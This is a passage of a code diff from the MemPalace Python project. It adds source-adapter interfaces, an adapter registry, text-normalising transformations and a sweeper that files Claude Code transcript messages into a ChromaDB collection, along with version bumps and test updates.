applies to source bytes. The empty set marks a byte-preserving adapter.
* ``default_privacy_class`` — privacy class level (§6) applied unless the
palace config overrides it.
"""
name: ClassVar[str]
spec_version: ClassVar[str] = "1.0"
adapter_version: ClassVar[str] = "0.0.0"
capabilities: ClassVar[frozenset[str]] = frozenset()
supported_modes: ClassVar[frozenset[str]] = frozenset({"chunked_content"})
declared_transformations: ClassVar[frozenset[str]] = frozenset()
default_privacy_class: ClassVar[str] = "pii_potential"
# ------------------------------------------------------------------
# Required methods
# ------------------------------------------------------------------
@abstractmethod
def ingest(
self,
*,
source: SourceRef,
palace: "PalaceContext",
) -> Iterator[IngestResult]:
"""Enumerate and extract content from a source.
Yields a stream of ``SourceItemMetadata`` and ``DrawerRecord`` values.
Lazy adapters yield ``SourceItemMetadata`` ahead of the drawers for
that item so core can check :meth:`is_current` before committing to
the fetch. Eager adapters MAY interleave freely.
"""
@abstractmethod
def describe_schema(self) -> AdapterSchema:
"""Declare the structured metadata this adapter attaches.
The returned schema MUST be stable for a given ``adapter_version``.
Enterprises index on it; core uses it to validate adapter output.
"""
# ------------------------------------------------------------------
# Optional methods with default implementations
# ------------------------------------------------------------------
def is_current(
self,
*,
item: SourceItemMetadata,
existing_metadata: Optional[dict],
) -> bool:
"""Return True if the palace already has an up-to-date copy of ``item``.
Default: always returns False (re-extract every time). Adapters
advertising ``supports_incremental`` MUST override.
"""
return False
def source_summary(self, *, source: SourceRef) -> SourceSummary:
"""Describe a source without extracting."""
return SourceSummary(description=self.name)
def close(self) -> None:
"""Release any resources the adapter holds. Default: no-op."""
return None
+142
View File
@@ -0,0 +1,142 @@
"""``PalaceContext`` facade passed to source adapters (RFC 002 §9).
Bundles the palace-side surface an adapter needs during :meth:`ingest`:
drawer collection, closet collection, knowledge graph, palace config, and
progress hooks. Adapters receive a ``PalaceContext`` instance and MUST NOT
import ``mempalace.palace`` directly — that coupling is what the facade
exists to prevent.
This module publishes the shape third-party adapters target. Core's mine
loop will construct a concrete ``PalaceContext`` and pass it to adapters
when the filesystem/conversations miners are migrated onto ``BaseSourceAdapter``
in a follow-up PR; until then, no in-tree code constructs one, but the
contract is stable.
"""
from __future__ import annotations
from dataclasses import dataclass, field
from typing import Any, Callable, Optional, Protocol
from .base import DrawerRecord
class _CollectionLike(Protocol):
"""Minimum of :class:`mempalace.backends.BaseCollection` adapters rely on.
Declared as a Protocol so tests and third-party adapters can substitute
any object with compatible method signatures without importing the
concrete backend. See ``mempalace/backends/base.py`` for the full surface.
"""
def add(self, **kwargs: Any) -> None: ...
def upsert(self, **kwargs: Any) -> None: ...
def query(self, **kwargs: Any) -> Any: ...
def get(self, **kwargs: Any) -> Any: ...
def delete(self, **kwargs: Any) -> None: ...
def count(self) -> int: ...
class _KnowledgeGraphLike(Protocol):
def add_triple(self, subject: str, predicate: str, obj: str, **kwargs: Any) -> Any: ...
# Progress hook signature: ``fn(event_name, **details) -> None``.
ProgressHook = Callable[..., None]
@dataclass
class PalaceContext:
"""Per-mine-invocation facade passed to :meth:`BaseSourceAdapter.ingest`.
Fields:
drawer_collection: The palace's drawer collection (via RFC 001 backend).
closet_collection: The palace's closet collection, or ``None`` if the
palace has no closets yet. Adapters should not write to this
directly; core builds closets post-step (RFC 002 §1.7).
knowledge_graph: The palace's SQLite knowledge graph. Adapters
advertising ``supports_kg_triples`` call ``add_triple`` on it.
palace_path: Filesystem root of the palace (convenience; same as
``backend.PalaceRef.local_path``).
config: Palace config object (hall keywords, rooms list, privacy
floor, etc.). Shape is the existing :class:`MempalaceConfig`.
adapter_name: Name of the adapter currently ingesting; populated by
core so drawers can carry ``metadata["adapter_name"]``.
adapter_version: Version of the adapter currently ingesting.
progress_hooks: Optional callables core invokes on progress events.
Methods are intentionally thin wrappers so the concrete mine loop in
core can swap implementations without changing adapter code.
"""
drawer_collection: _CollectionLike
knowledge_graph: _KnowledgeGraphLike
palace_path: str
closet_collection: Optional[_CollectionLike] = None
config: Optional[Any] = None
adapter_name: str = ""
adapter_version: str = ""
progress_hooks: list[ProgressHook] = field(default_factory=list)
# Internal: flag set by :meth:`skip_current_item` and checked by the core
# mine loop between yields. Not part of the adapter-facing contract; the
# adapter only needs to know that calling :meth:`skip_current_item` stops
# drawer emission for the current ``SourceItemMetadata``.
_skip_requested: bool = False
# ------------------------------------------------------------------
# Adapter-facing surface
# ------------------------------------------------------------------
def upsert_drawer(self, record: DrawerRecord) -> None:
"""Persist a ``DrawerRecord`` to the drawer collection.
Applies the spec-mandated ``adapter_name`` and ``adapter_version``
metadata stamps (§5.1) so adapters never need to populate them.
"""
meta = dict(record.metadata)
meta.setdefault("source_file", record.source_file)
meta.setdefault("chunk_index", record.chunk_index)
if self.adapter_name:
meta.setdefault("adapter_name", self.adapter_name)
if self.adapter_version:
meta.setdefault("adapter_version", self.adapter_version)
drawer_id = _build_drawer_id(record)
self.drawer_collection.upsert(
documents=[record.content],
ids=[drawer_id],
metadatas=[meta],
)
def skip_current_item(self) -> None:
"""Signal to core that the current ``SourceItemMetadata`` is up-to-date
and no drawers should be emitted for it. Core resets the flag after
advancing past the item."""
self._skip_requested = True
def emit(self, event: str, **details: Any) -> None:
"""Invoke each registered progress hook with ``(event, **details)``."""
for hook in self.progress_hooks:
try:
hook(event, **details)
except Exception: # pragma: no cover - hook errors never fail mine
import logging
logging.getLogger(__name__).exception("progress hook failed on %r", event)
def _build_drawer_id(record: DrawerRecord) -> str:
"""Deterministic drawer id: ``<sha256(source_file)[:24]>_<chunk_index>``.
Matches the shape existing miners rely on (``source_file`` + chunk index
pair) while keeping the id chroma-safe (no separators that collide with
existing metadata values). 96-bit SHA-256 prefix keeps collision risk
negligible across corpora the size of a palace (sha1@64 bits was too
close to the birthday bound for large ingests). Adapters that need a
different id scheme can bypass :meth:`PalaceContext.upsert_drawer` and
write through ``drawer_collection.upsert`` directly.
"""
import hashlib
digest = hashlib.sha256(record.source_file.encode("utf-8")).hexdigest()[:24]
return f"{digest}_{record.chunk_index}"
+162
View File
@@ -0,0 +1,162 @@
"""Source adapter registry + entry-point discovery (RFC 002 §3).
Third-party adapters ship as installable packages that declare a
``mempalace.sources`` entry point::
# pyproject.toml of mempalace-source-cursor
[project.entry-points."mempalace.sources"]
cursor = "mempalace_source_cursor:CursorAdapter"
MemPalace discovers them at process start. In-tree tests and local
development can register manually via :func:`register`. Explicit
registration wins on name conflict (RFC 002 §3.2).
Unlike storage backends (RFC 001 §3.3), source adapters are never auto-
detected — the user selects the adapter explicitly via ``--source NAME``
or config (§3.3). The default when no adapter is named is ``filesystem``
(to preserve current ``mempalace mine <path>`` behavior).
"""
from __future__ import annotations
import logging
from importlib import metadata
from threading import Lock
from typing import Type
from .base import BaseSourceAdapter
logger = logging.getLogger(__name__)
_ENTRY_POINT_GROUP = "mempalace.sources"
_DEFAULT_ADAPTER = "filesystem"
_registry: dict[str, Type[BaseSourceAdapter]] = {}
_instances: dict[str, BaseSourceAdapter] = {}
_explicit: set[str] = set()
_discovered = False
_lock = Lock()
def register(name: str, adapter_cls: Type[BaseSourceAdapter]) -> None:
"""Register ``adapter_cls`` under ``name``.
Explicit registration wins over entry-point discovery on conflict (§3.2).
"""
with _lock:
_registry[name] = adapter_cls
_explicit.add(name)
_instances.pop(name, None)
def unregister(name: str) -> None:
"""Remove an adapter registration (primarily for tests)."""
with _lock:
_registry.pop(name, None)
_explicit.discard(name)
_instances.pop(name, None)
def _discover_entry_points() -> None:
global _discovered
if _discovered:
return
with _lock:
if _discovered:
return
try:
eps = metadata.entry_points()
group = (
eps.select(group=_ENTRY_POINT_GROUP)
if hasattr(eps, "select")
else eps.get(_ENTRY_POINT_GROUP, [])
)
except Exception:
logger.exception("entry-point discovery for %s failed", _ENTRY_POINT_GROUP)
group = []
for ep in group:
if ep.name in _explicit:
continue # explicit registration wins
try:
cls = ep.load()
except Exception:
logger.exception("failed to load adapter entry point %r", ep.name)
continue
if not isinstance(cls, type) or not issubclass(cls, BaseSourceAdapter):
logger.warning(
"entry point %r did not resolve to a BaseSourceAdapter subclass (got %r)",
ep.name,
cls,
)
continue
_registry.setdefault(ep.name, cls)
_discovered = True
def available_adapters() -> list[str]:
"""Return sorted list of all registered adapter names."""
_discover_entry_points()
return sorted(_registry.keys())
def get_adapter_class(name: str) -> Type[BaseSourceAdapter]:
"""Return the registered adapter class for ``name``."""
_discover_entry_points()
try:
return _registry[name]
except KeyError as e:
raise KeyError(f"unknown source adapter {name!r}; available: {available_adapters()}") from e
def get_adapter(name: str) -> BaseSourceAdapter:
"""Return a long-lived instance of the named adapter.
Instances are cached per-name; repeated calls return the same object.
Call :func:`reset_adapters` in tests that need isolation.
"""
_discover_entry_points()
with _lock:
inst = _instances.get(name)
if inst is not None:
return inst
cls = _registry.get(name)
if cls is None:
raise KeyError(
f"unknown source adapter {name!r}; available: {sorted(_registry.keys())}"
)
inst = cls()
_instances[name] = inst
return inst
def reset_adapters() -> None:
"""Close and drop all cached adapter instances (primarily for tests)."""
with _lock:
for inst in _instances.values():
try:
inst.close()
except Exception:
logger.exception("error closing adapter during reset")
_instances.clear()
def resolve_adapter_for_source(
*,
explicit: str | None = None,
config_value: str | None = None,
default: str = _DEFAULT_ADAPTER,
) -> str:
"""Resolve the adapter name per RFC 002 §3.3 priority order.
1. Explicit ``--source`` flag or kwarg
2. Per-source config value
3. Default (``filesystem``)
Auto-detection is *intentionally* absent on the read side (§3.3); a
directory containing ``.git`` + ``workspaceStorage/`` + an ``mbox`` file
is not a signal of user intent.
"""
for candidate in (explicit, config_value):
if candidate:
return candidate
return default
+196
View File
@@ -0,0 +1,196 @@
"""Reference implementations of the reserved content transformations (RFC 002 §1.4).
Every source adapter declares the set of transformations it applies to source
bytes via ``declared_transformations``. The conformance suite then verifies
that the adapter's output can be reproduced from the source bytes by applying
*only* the declared transformations in declaration order, using these
reference implementations.
Each transformation is a pure function on strings (text content after UTF-8
decoding). ``utf8_replace_invalid`` is the one that operates on bytes.
The invariant the spec enforces: **no transformation is applied that is not
declared in the adapter's set**. Adapters with an empty set are byte-preserving
end-to-end (modulo the initial UTF-8 decode itself, which is captured by
``utf8_replace_invalid`` when applicable).
Adapters MAY add custom transformations beyond the reserved set; third-party
names SHOULD be prefixed with the adapter name (``cursor.composer_ordering``).
Custom transformations MUST expose a reference implementation under
``mempalace.sources.transforms.<adapter_name>_<transform_name>`` so the
conformance suite can locate and apply them.
"""
from __future__ import annotations
import re
from typing import Protocol, Union
class Transformation(Protocol):
"""Callable signature every reserved transformation conforms to.
Accepts the current stage of the pipeline — ``bytes`` on input
(``utf8_replace_invalid``) or ``str`` after decoding — and returns ``str``.
Adapters compose them in declaration order; the first step operates on the
original source bytes, every subsequent step on the prior step's output.
"""
def __call__(self, data: Union[bytes, str], /) -> str: ...
# ---------------------------------------------------------------------------
# Reserved transformations
# ---------------------------------------------------------------------------
def utf8_replace_invalid(raw: bytes) -> str:
"""Decode bytes as UTF-8; replace invalid sequences with U+FFFD.
Equivalent to ``raw.decode("utf-8", errors="replace")``. This is the one
reserved transformation that operates on bytes rather than decoded text.
"""
return raw.decode("utf-8", errors="replace")
def newline_normalize(text: str) -> str:
"""Convert CRLF and bare-CR line endings to LF."""
return text.replace("\r\n", "\n").replace("\r", "\n")
def whitespace_trim(text: str) -> str:
"""Strip leading and trailing whitespace at the record boundary only."""
return text.strip()
_RUN_OF_THREE_OR_MORE_BLANK = re.compile(r"(?:\n[ \t]*){3,}\n")
def whitespace_collapse_internal(text: str) -> str:
"""Collapse runs of three or more blank lines to exactly two blank lines.
A "blank line" here is a line containing only spaces or tabs. Single and
double blank-line runs are preserved.
"""
# Normalise inputs before collapsing: turn internal blank lines with
# whitespace content into pure \n so the regex matches consistently.
lines = text.split("\n")
normalised = "\n".join(line if line.strip() else "" for line in lines)
return _RUN_OF_THREE_OR_MORE_BLANK.sub("\n\n\n", normalised)
def line_trim(text: str) -> str:
"""Strip leading and trailing whitespace from each individual line."""
return "\n".join(line.strip() for line in text.split("\n"))
def line_join_spaces(text: str) -> str:
"""Join adjacent non-blank lines with a single space, preserving paragraph breaks.
Two lines separated by at least one blank line remain on separate lines;
runs of non-blank lines collapse into a single space-separated line.
"""
paragraphs = re.split(r"\n[ \t]*\n", text)
joined = [" ".join(line.strip() for line in p.split("\n") if line.strip()) for p in paragraphs]
return "\n\n".join(joined)
def blank_line_drop(text: str) -> str:
"""Drop blank lines between non-blank lines, keeping non-blank lines only."""
return "\n".join(line for line in text.split("\n") if line.strip())
# The following reserved transformations are declared in the spec but are
# deeply adapter-specific. Rather than guess a single reference implementation
# now, we provide identity shims that leave the input unchanged when no
# adapter-specific implementation is available. Adapters that declare these
# MUST either override with a concrete implementation or provide a namespaced
# reference under
# ``mempalace.sources.transforms.<adapter_name>_<transform_name>`` (per the
# module docstring). The conformance suite looks up the adapter-specific
# implementation first, falling back to these identity shims only when none
# exists.
def strip_tool_chrome(text: str) -> str:
"""Adapter-supplied: remove system tags, hook output, tool UI chrome.
The reference implementation here is intentionally an identity function
because the noise patterns differ per transcript format (Claude Code,
Codex, ChatGPT, Slack). The conversations adapter, when migrated, will
register a concrete reference implementation under
``mempalace.sources.transforms.conversations_strip_tool_chrome``.
"""
return text
def tool_result_truncate(text: str) -> str:
"""Adapter-supplied: head/tail window on tool output with a middle marker."""
return text
def tool_result_omitted(text: str) -> str:
"""Adapter-supplied: fully omit some tool outputs (e.g., Read/Edit/Write)."""
return text
def spellcheck_user(text: str) -> str:
"""Adapter-supplied: rewrite user turns via autocorrect.
Requires the optional ``spellcheck`` extra and a tokenizer; the spec does
not mandate a specific language model, so the reference is adapter-owned.
"""
return text
def synthesized_marker(text: str) -> str:
"""Adapter-supplied: adapter inserts its own strings (e.g., '[N lines omitted]')."""
return text
def speaker_role_assignment(text: str) -> str:
"""Adapter-supplied: multi-party speakers alternately assigned user/assistant."""
return text
# ---------------------------------------------------------------------------
# Registry
# ---------------------------------------------------------------------------
# Reserved transformation name → reference implementation.
# Adapters look up by name to compose a round-trip pipeline during testing.
# The value conforms to the :class:`Transformation` protocol above; we type
# it as that Protocol rather than a concrete ``Callable`` so static checkers
# accept both the bytes→str (``utf8_replace_invalid``) and str→str shapes.
RESERVED_TRANSFORMATIONS: dict[str, Transformation] = {
"utf8_replace_invalid": utf8_replace_invalid,
"newline_normalize": newline_normalize,
"whitespace_trim": whitespace_trim,
"whitespace_collapse_internal": whitespace_collapse_internal,
"line_trim": line_trim,
"line_join_spaces": line_join_spaces,
"blank_line_drop": blank_line_drop,
"strip_tool_chrome": strip_tool_chrome,
"tool_result_truncate": tool_result_truncate,
"tool_result_omitted": tool_result_omitted,
"spellcheck_user": spellcheck_user,
"synthesized_marker": synthesized_marker,
"speaker_role_assignment": speaker_role_assignment,
}
def get_transformation(name: str) -> Transformation:
"""Resolve a reserved transformation by name.
Raises :class:`KeyError` if the name is neither reserved nor registered as
an adapter-namespaced reference (``<adapter>_<transform>``). Callers
looking for adapter-specific references SHOULD ``getattr`` on this module
first; this helper only covers the reserved names.
"""
try:
return RESERVED_TRANSFORMATIONS[name]
except KeyError as e:
raise KeyError(
f"unknown transformation {name!r}; reserved names: {sorted(RESERVED_TRANSFORMATIONS)}"
) from e
+7 -7
View File
@@ -50,7 +50,7 @@ def _load_known_names_config(force_reload: bool = False):
if _KNOWN_NAMES_PATH.exists():
try:
_KNOWN_NAMES_CACHE = json.loads(_KNOWN_NAMES_PATH.read_text())
_KNOWN_NAMES_CACHE = json.loads(_KNOWN_NAMES_PATH.read_text(encoding="utf-8"))
return _KNOWN_NAMES_CACHE
except (json.JSONDecodeError, OSError):
pass
@@ -184,7 +184,7 @@ def split_file(filepath, output_dir, dry_run=False):
path = Path(filepath)
max_size = 500 * 1024 * 1024 # 500 MB safety limit
if path.stat().st_size > max_size:
print(f" SKIP: {path.name} exceeds {max_size // (1024*1024)} MB limit")
print(f" SKIP: {path.name} exceeds {max_size // (1024 * 1024)} MB limit")
return []
lines = path.read_text(errors="replace").splitlines(keepends=True)
@@ -224,7 +224,7 @@ def split_file(filepath, output_dir, dry_run=False):
print(f" [{i + 1}/{len(boundaries) - 1}] {name} ({len(chunk)} lines)")
else:
out_path.write_text("".join(chunk), encoding="utf-8")
print(f" ✓ {name} ({len(chunk)} lines)")
print(f" + {name} ({len(chunk)} lines)")
written.append(out_path)
@@ -273,7 +273,7 @@ def main():
max_scan_size = 500 * 1024 * 1024 # 500 MB
for f in files:
if f.stat().st_size > max_scan_size:
print(f" SKIP: {f.name} exceeds {max_scan_size // (1024*1024)} MB limit")
print(f" SKIP: {f.name} exceeds {max_scan_size // (1024 * 1024)} MB limit")
continue
lines = f.read_text(errors="replace").splitlines(keepends=True)
boundaries = find_session_boundaries(lines)
@@ -290,7 +290,7 @@ def main():
print(f" Source: {src_dir}")
print(f" Output: {output_dir or 'same dir as source'}")
print(f" Mega-files: {len(mega_files)}")
print(f"{'─' * 60}\n")
print(f"{'-' * 60}\n")
total_written = 0
for f, n_sessions in mega_files:
@@ -301,11 +301,11 @@ def main():
if not args.dry_run and written:
backup = f.with_suffix(".mega_backup")
f.rename(backup)
print(f" → Original renamed to {backup.name}\n")
print(f" -> Original renamed to {backup.name}\n")
else:
print()
print(f"{'─' * 60}")
print(f"{'-' * 60}")
if args.dry_run:
print(f" DRY RUN — would create {total_written} files from {len(mega_files)} mega-files")
else:
+347
View File
@@ -0,0 +1,347 @@
#!/usr/bin/env python3
"""
sweeper.py — Message-granular miner that catches what the file-level
primary miners dropped.
Algorithm, per session:
cursor = max(timestamp of sweeper-written drawers for this session_id)
For each user/assistant message in the jsonl:
if cursor is not None and message.timestamp < cursor: skip
else: upsert a drawer keyed by (session_id, message_uuid)
Properties:
- Idempotent on its own writes: rerunning is a no-op because drawer
IDs are deterministic and existence is pre-checked before counting.
- Resume-safe: a crash mid-sweep is recovered on the next run — the
cursor advances to the last ingested timestamp and re-attempts at
that boundary are de-duped by the deterministic ID.
- Tie-break safe: uses ``< cursor`` (not ``<=``), so if multiple
messages share the max timestamp and only some were ingested, the
rest are still picked up on re-run.
- No size caps: each drawer holds one exchange, ~1-5 KB.
Coordination with the primary file-level miners (``miner.py`` /
``convo_miner.py``) is limited: those miners chunk at a fixed char size
and do not currently stamp ``session_id``/``timestamp`` metadata that
the sweeper can key off. In practice the sweeper coordinates with its
own prior runs, and may ingest content that also got chunked into
primary-miner drawers (under different IDs). Follow-up: add uniform
``ingest_mode`` + message metadata to the primary miners so dedup spans
both paths.
Usage:
from mempalace.sweeper import sweep
result = sweep("/path/to/session.jsonl", "/path/to/palace")
"""
from __future__ import annotations
import json
import logging
import sys
from datetime import datetime
from pathlib import Path
from typing import Iterator, Optional
from .palace import get_collection
logger = logging.getLogger(__name__)
# ── JSONL parsing ────────────────────────────────────────────────────
def _flatten_content(content) -> str:
"""Normalize Claude Code's message content to a plain string.
User messages are strings already; assistant messages are a list of
content blocks like [{"type": "text", "text": "..."}, {"type":
"tool_use", ...}]. All blocks are preserved verbatim — the design
principle is "verbatim always", so tool inputs and results are
serialized in full, never truncated.
"""
if isinstance(content, str):
return content
if isinstance(content, list):
parts = []
for block in content:
if not isinstance(block, dict):
continue
btype = block.get("type", "")
if btype == "text":
parts.append(block.get("text", ""))
elif btype == "tool_use":
parts.append(
f"[tool_use: {block.get('name', '?')} "
f"input={json.dumps(block.get('input', {}), default=str)}]"
)
elif btype == "tool_result":
parts.append(f"[tool_result: {json.dumps(block.get('content', ''), default=str)}]")
else:
parts.append(f"[{btype}: {json.dumps(block, default=str)}]")
return "\n".join(p for p in parts if p)
return str(content)
def parse_claude_jsonl(path: str) -> Iterator[dict]:
"""Yield user/assistant records from a Claude Code .jsonl file.
Each yield is:
{
"session_id": str,
"uuid": str, # per-message UUID
"timestamp": str, # ISO 8601
"role": "user" | "assistant",
"content": str, # flattened text
}
Non-message records (progress, file-history-snapshot, system,
queue-operation, last-prompt) are filtered out. Malformed lines are
skipped silently — data quality is the transcript writer's problem,
not ours.
"""
with open(path, "r", encoding="utf-8", errors="replace") as f:
for line in f:
line = line.strip()
if not line:
continue
try:
record = json.loads(line)
except json.JSONDecodeError:
continue
rtype = record.get("type")
if rtype not in ("user", "assistant"):
continue
msg = record.get("message") or {}
if not isinstance(msg, dict):
continue
role = msg.get("role")
if role not in ("user", "assistant"):
continue
timestamp = record.get("timestamp")
if not timestamp:
continue
uuid = record.get("uuid")
if not uuid:
continue
session_id = record.get("sessionId") or record.get("session_id")
if not session_id:
continue
content = _flatten_content(msg.get("content", ""))
if not content.strip():
continue
yield {
"session_id": session_id,
"uuid": uuid,
"timestamp": timestamp,
"role": role,
"content": content,
}
# ── Cursor resolution ────────────────────────────────────────────────
def get_palace_cursor(collection, session_id: str) -> Optional[str]:
"""Return the max timestamp of drawers for this session_id, or None.
ISO-8601 strings compare lexically in the right order, so we don't
need to parse them. Query scans metadatas for the session via the
backend's where-filter, then reduces.
Backend errors are logged at WARNING and surface as a `None` cursor —
which makes the caller treat the session as empty and ingest every
message. That's intentional: a no-cursor sweep is recovered from on
the next run by deterministic drawer IDs, so a degraded cursor never
causes silent data loss.
"""
try:
data = collection.get(
where={"session_id": session_id},
include=["metadatas"],
)
except Exception as exc:
logger.warning(
"sweeper: cursor lookup failed for session_id=%s (%s); "
"treating as empty — drawers will be re-upserted idempotently.",
session_id,
exc,
)
return None
metas = data.get("metadatas") or []
timestamps = [m.get("timestamp") for m in metas if m and m.get("timestamp")]
if not timestamps:
return None
return max(timestamps)
# ── Sweep ────────────────────────────────────────────────────────────
def _drawer_id_for_message(session_id: str, message_uuid: str) -> str:
"""Deterministic drawer ID so upserts at the same message are no-ops.
Uses the full session_id (not a prefix) to avoid any cross-session
collision risk if a transcript source ever uses non-UUID session
identifiers or shares prefixes across sessions.
"""
return f"sweep_{session_id}_{message_uuid}"
def sweep(jsonl_path: str, palace_path: str, source_label: Optional[str] = None) -> dict:
"""Ingest every user/assistant message not already represented.
For each message in the jsonl:
- If timestamp < cursor for that session, skip (strictly earlier
than anything already in the palace — already covered).
- At timestamp == cursor we do NOT skip, because multiple messages
can share the same ISO-8601 timestamp; if only some of them were
ingested before a crash, a `<= cursor` skip would lose the rest
forever. Deterministic drawer IDs make re-attempting at the
cursor boundary safe (existing rows are found via a pre-flight
`get(ids=...)` and counted as "already present", not "added").
- Else, upsert a drawer with deterministic ID so reruns dedupe.
Returns ``{drawers_added, drawers_already_present, drawers_skipped,
drawers_upserted, cursor_by_session}``:
* ``drawers_added`` — rows that did not exist before this sweep.
* ``drawers_already_present`` — rows whose deterministic ID was
already in the palace and got rewritten idempotently.
* ``drawers_skipped`` — records skipped by the cursor (strictly
earlier than what's already stored).
* ``drawers_upserted`` — total writes = added + already_present.
"""
collection = get_collection(palace_path, create=True)
cursors: dict = {}
drawers_added = 0
drawers_already_present = 0
drawers_skipped = 0
batch_ids: list[str] = []
batch_docs: list[str] = []
batch_metas: list[dict] = []
BATCH_SIZE = 64
def _flush():
nonlocal drawers_added, drawers_already_present
if not batch_ids:
return
# Pre-flight: which IDs in this batch are already present?
# Upsert is idempotent on data but counts as "added" would lie;
# this pre-query makes the metric honest (Copilot PR 998 review).
try:
existing = collection.get(ids=list(batch_ids), include=[])
# Chroma returns a dict; typed backends return GetResult — the
# compat shim makes ``.get("ids")`` work on both.
present = set(existing.get("ids") or [])
except Exception as exc:
logger.warning(
"sweeper: existence pre-check failed (%s); "
"counting all batch rows as new (metric may over-count on reruns).",
exc,
)
present = set()
new_count = sum(1 for rid in batch_ids if rid not in present)
already_count = len(batch_ids) - new_count
collection.upsert(
ids=batch_ids,
documents=batch_docs,
metadatas=batch_metas,
)
drawers_added += new_count
drawers_already_present += already_count
batch_ids.clear()
batch_docs.clear()
batch_metas.clear()
for rec in parse_claude_jsonl(jsonl_path):
sid = rec["session_id"]
if sid not in cursors:
cursors[sid] = get_palace_cursor(collection, sid)
cursor = cursors[sid]
if cursor is not None and rec["timestamp"] < cursor:
drawers_skipped += 1
continue
drawer_id = _drawer_id_for_message(sid, rec["uuid"])
document = f"{rec['role'].upper()}: {rec['content']}"
metadata = {
"session_id": sid,
"timestamp": rec["timestamp"],
"message_uuid": rec["uuid"],
"role": rec["role"],
"source_file": source_label or jsonl_path,
"filed_at": datetime.now().isoformat(),
"ingest_mode": "sweep",
}
batch_ids.append(drawer_id)
batch_docs.append(document)
batch_metas.append(metadata)
if len(batch_ids) >= BATCH_SIZE:
_flush()
_flush()
return {
"drawers_added": drawers_added,
"drawers_already_present": drawers_already_present,
"drawers_upserted": drawers_added + drawers_already_present,
"drawers_skipped": drawers_skipped,
"cursor_by_session": cursors,
}
def sweep_directory(dir_path: str, palace_path: str) -> dict:
"""Sweep every .jsonl file in a directory (recursive).
Returns aggregated summary across all files. ``files_attempted``
includes files that raised, so the count reflects discovery rather
than only successes; ``files_succeeded`` is the subset that
completed without error.
"""
dir_p = Path(dir_path).expanduser().resolve()
files = sorted(dir_p.rglob("*.jsonl"))
total_added = 0
total_already_present = 0
total_skipped = 0
per_file = []
failures: list[dict] = []
for f in files:
try:
result = sweep(str(f), palace_path, source_label=str(f))
except Exception as exc:
logger.error("sweeper: sweep failed on %s: %s", f, exc)
print(f" WARNING: sweep failed on {f}: {exc}", file=sys.stderr)
failures.append({"file": str(f), "error": str(exc)})
continue
total_added += result["drawers_added"]
total_already_present += result.get("drawers_already_present", 0)
total_skipped += result["drawers_skipped"]
per_file.append(
{
"file": str(f),
"added": result["drawers_added"],
"already_present": result.get("drawers_already_present", 0),
"skipped": result["drawers_skipped"],
}
)
return {
"files_attempted": len(files),
"files_succeeded": len(per_file),
"drawers_added": total_added,
"drawers_already_present": total_already_present,
"drawers_skipped": total_skipped,
"per_file": per_file,
"failures": failures,
}
+1 -1
View File
@@ -1,3 +1,3 @@
"""Single source of truth for the MemPalace package version."""
__version__ = "3.2.0"
__version__ = "3.3.2"
+17 -6
View File
@@ -1,6 +1,6 @@
[project]
name = "mempalace"
version = "3.2.0"
version = "3.3.2"
description = "Give your AI a memory — mine projects and conversations into a searchable palace. No API key required."
readme = "README.md"
requires-python = ">=3.9"
@@ -21,21 +21,32 @@ classifiers = [
"Programming Language :: Python :: 3.10",
"Programming Language :: Python :: 3.11",
"Programming Language :: Python :: 3.12",
"Programming Language :: Python :: 3.13",
"Programming Language :: Python :: 3.14",
"Topic :: Scientific/Engineering :: Artificial Intelligence",
"Topic :: Utilities",
]
dependencies = [
"chromadb>=0.5.0",
"chromadb>=1.5.4,<2",
"pyyaml>=6.0,<7",
]
[project.urls]
Homepage = "https://github.com/milla-jovovich/mempalace"
Repository = "https://github.com/milla-jovovich/mempalace"
"Bug Tracker" = "https://github.com/milla-jovovich/mempalace/issues"
Homepage = "https://github.com/MemPalace/mempalace"
Repository = "https://github.com/MemPalace/mempalace"
"Bug Tracker" = "https://github.com/MemPalace/mempalace/issues"
[project.scripts]
mempalace = "mempalace:main"
mempalace = "mempalace.cli:main"
[project.entry-points."mempalace.backends"]
chroma = "mempalace.backends.chroma:ChromaBackend"
# RFC 002 source-adapter entry-point group. Core publishes no first-party
# adapters under this group yet; ``miner.py`` and ``convo_miner.py`` migrate
# onto ``BaseSourceAdapter`` in a follow-up PR. Third-party adapter packages
# (``mempalace-source-cursor``, ``mempalace-source-git``, …) register here.
[project.entry-points."mempalace.sources"]
[project.optional-dependencies]
dev = ["pytest>=7.0", "pytest-cov>=4.0", "ruff>=0.4.0", "psutil>=5.9"]
+14
View File
@@ -0,0 +1,14 @@
import pytest
import timeit
import re
from mempalace.dialect import Dialect
def test_detect_entities_benchmark():
dialect = Dialect()
text = "Alice went to the market and met Bob who is a nice guy. They both discussed about Dr. Chen and how he solved the big issue. Another sentence with Name and Name2 and SomeName"
# Run the function multiple times to measure the performance
number = 10000
time = timeit.timeit(lambda: dialect._detect_entities_in_text(text), number=number)
print(f"\nDialect._detect_entities_in_text benchmark: {time:.4f} seconds for {number} iterations")
+1 -1
View File
@@ -101,7 +101,7 @@ def config(tmp_dir, palace_path):
def collection(palace_path):
"""A ChromaDB collection pre-seeded in the temp palace."""
client = chromadb.PersistentClient(path=palace_path)
col = client.get_or_create_collection("mempalace_drawers")
col = client.get_or_create_collection("mempalace_drawers", metadata={"hnsw:space": "cosine"})
yield col
client.delete_collection("mempalace_drawers")
del client
+333 -16
View File
@@ -1,14 +1,42 @@
import os
import sqlite3
import chromadb
import pytest
from mempalace.backends.chroma import ChromaBackend, ChromaCollection, _fix_blob_seq_ids
from mempalace.backends import (
GetResult,
PalaceRef,
QueryResult,
UnsupportedFilterError,
available_backends,
get_backend,
)
from mempalace.backends.chroma import (
ChromaBackend,
ChromaCollection,
_fix_blob_seq_ids,
quarantine_stale_hnsw,
)
class _FakeCollection:
def __init__(self):
"""Stand-in for a chromadb.Collection returning raw chroma-shaped dicts."""
def __init__(self, query_response=None, get_response=None, count_value=7):
self.calls = []
self._query_response = query_response or {
"ids": [["a", "b"]],
"documents": [["da", "db"]],
"metadatas": [[{"wing": "w1"}, {"wing": "w2"}]],
"distances": [[0.1, 0.2]],
}
self._get_response = get_response or {
"ids": ["a"],
"documents": ["da"],
"metadatas": [{"wing": "w1"}],
}
self._count_value = count_value
def add(self, **kwargs):
self.calls.append(("add", kwargs))
@@ -16,41 +44,251 @@ class _FakeCollection:
def upsert(self, **kwargs):
self.calls.append(("upsert", kwargs))
def update(self, **kwargs):
self.calls.append(("update", kwargs))
def query(self, **kwargs):
self.calls.append(("query", kwargs))
return {"kind": "query"}
return self._query_response
def get(self, **kwargs):
self.calls.append(("get", kwargs))
return {"kind": "get"}
return self._get_response
def delete(self, **kwargs):
self.calls.append(("delete", kwargs))
def count(self):
self.calls.append(("count", {}))
return 7
return self._count_value
